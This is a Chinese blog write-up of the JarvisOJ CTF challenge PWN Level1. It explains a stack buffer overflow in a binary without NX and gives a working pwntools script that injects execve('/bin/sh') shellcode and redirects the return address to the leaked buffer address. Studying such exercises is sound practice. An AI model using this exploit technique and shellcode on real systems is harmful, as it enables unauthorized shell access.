JarvisOJ-PWN-Level1

JarvisOJ-PWN-Level

先checksec一下:
这里写图片描述
发现NX栈保护没有打开,也就是堆栈代码没有进行保护,那么就就题目很可能就是要输入shellcode在栈里执行吧。

打开IDA分析(32位):
主函数:
这里写图片描述
vulner..fuction()函数:
这里写图片描述
题目的逻辑是打出buf的首地址然后写入从标准输入100字节给buf。
然后输出Holle world。
我们再看buf的内存分配:
这里写图片描述
这里写图片描述
buf的内存长度就=0x00000004-(-0x00000088)=0x8c
0x100>0x8c,存在栈溢出。
然而我们这次没有system的地址了,栈溢出也没用,这时我们想起该程序没有NX保护,所以可以自己写shellcode,也就是将shellcode写入栈,在栈里执行system(“/bin/sh”),这就需要我们将ret的jmp变成buf的首地址,使得read结束后调用buf地址从而执行shellcode,而buf首地址也正好给了我们。
OK,开始写shellcode了,可以参考这个写shellcode。
可以用我的另一个赚们写shellcode的博客参考下:
http://blog.csdn.net/qq_35495684/article/details/79583232

所以我们获得了shellcode:

shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"

getshell代码:

# -*- coding: utf-8 -*-

from pwn import*
#context(log_level = 'debug', arch = 'i386', os = 'linux')

#shellcode=asm(shellcraft.sh())

r=remote('pwn2.jarvisoj.com', 9877)#连接
#r=process("./test")

shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
addr=int(r.readline()[len("What's this:"):-2],16)
payload=shellcode+'a'*(0x8c-len(shellcode))+p32(addr)
r.sendline(payload)
r.interactive()

这里写图片描述

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值